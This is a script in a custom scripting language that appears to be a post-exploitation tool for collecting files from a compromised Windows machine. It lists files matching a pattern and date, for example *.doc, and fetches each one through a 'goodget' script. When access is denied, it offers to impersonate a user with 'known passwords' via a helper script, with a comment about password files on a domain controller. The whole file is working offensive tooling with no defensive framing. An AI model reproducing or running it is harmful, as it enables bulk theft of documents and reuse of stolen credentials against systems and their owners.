122 lines
5.9 KiB
PostScript
122 lines
5.9 KiB
PostScript
# Goodget all files in a given directory, of a certain pattern, since a given date, possibly recursive
|
|
|
|
bool $success=false;
|
|
bool $showUsage=false;
|
|
|
|
if ($argc < 4) {
|
|
$showUsage = true;
|
|
}
|
|
else if ($argc > 5) {
|
|
$showUsage = true;
|
|
}
|
|
else if ($argv[1] == "?") {
|
|
$showUsage = true;
|
|
}
|
|
|
|
if ($showUsage) {
|
|
echo "Do a goodget on all files in a given path, of a certain pattern, since a given date";
|
|
echo "Usage: $argv[0] <path> <pattern> <date to get after> [<recursive>]";
|
|
echo "Example: $argv[0] \"C:\\winnt\\program files\\monkeynukes\" *.doc 01/01/2003 R";
|
|
echo " use 'all' as the date to get all files";
|
|
return $success;
|
|
}
|
|
|
|
string $path=$argv[1];
|
|
string $pattern=$argv[2];
|
|
string $datefrom=$argv[3];
|
|
bool $recursive=false;
|
|
if ($argc > 4) {
|
|
$recursive=true;
|
|
}
|
|
|
|
int $filesize;
|
|
bool $getThisFile;
|
|
bool $didSetUser=false;
|
|
$success=true;
|
|
|
|
string $filenames;
|
|
string $pathnames;
|
|
bool $isdir;
|
|
int $fileCounter;
|
|
|
|
string $filepermsstring="log fileperms -file \"$path\"";
|
|
string $dirstring="dir \"$pattern\" -path \"$path\" -max 0";
|
|
ifnot ($datefrom == "all") {
|
|
$dirstring = "$dirstring -after $datefrom";
|
|
}
|
|
if ($recursive) {
|
|
$dirstring = "$dirstring -recursive";
|
|
}
|
|
|
|
@echo off;
|
|
@record on;
|
|
ifnot (`$dirstring`) {
|
|
# TODO: CD in instead, to check if the directory exists (but no files are in it)
|
|
|
|
string $curpath;
|
|
@record on;
|
|
ifnot (`pwd`) {
|
|
echo "Could not get current path using pwd. Continuing, but you may end up in the file's directory.";
|
|
} else {
|
|
$curpath=GetCmdData("string_val");
|
|
}
|
|
@record off;
|
|
if (`cd "$path"`) {
|
|
`cd "$curpath"`;
|
|
$success=true;
|
|
# This is the case where there just isn't anything matching in the directory (but it exists, because we can cd in)
|
|
} else {
|
|
@echo on;
|
|
# check permissions and try directory listing again
|
|
# check permissions/password file [possibly for domain controller]
|
|
if (`$filepermsstring`) {
|
|
if (prompt "Try using known passwords?") {
|
|
`local run -command "perl E:\\tools\\setUserToGetFile.pl" -redirect setUser`;
|
|
if (`script setUserToGetFile.eps`) {
|
|
$didSetUser=true;
|
|
@record on;
|
|
ifnot (`log $dirstring`) {
|
|
$success=false;
|
|
}
|
|
@record off;
|
|
} else {
|
|
$success=false;
|
|
}
|
|
} else {
|
|
$success=false;
|
|
}
|
|
} else {
|
|
$success=false;
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($success==true) {
|
|
# TODO: consider a recursive get instead?
|
|
$filenames=GetCmdData("name");
|
|
$pathnames=GetCmdData("path");
|
|
$isdir=GetCmdData("isdir");
|
|
@record off;
|
|
@echo on;
|
|
echo "Completed dir listing.";
|
|
$fileCounter=0;
|
|
while ($fileCounter < sizeof($filenames)) {
|
|
ifnot ($isdir[$fileCounter]) {
|
|
ifnot (`script goodget.eps "$pathnames[$fileCounter]$filenames[$fileCounter]"`) {
|
|
echo "Error getting $pathnames[$fileCounter]\\$filenames[$fileCounter]";
|
|
pause;
|
|
}
|
|
}
|
|
$fileCounter++;
|
|
}
|
|
} else {
|
|
@record off;
|
|
@echo on;
|
|
}
|
|
|
|
if ($didSetUser) {
|
|
`setuser`;
|
|
}
|
|
|
|
|
|
return true;
|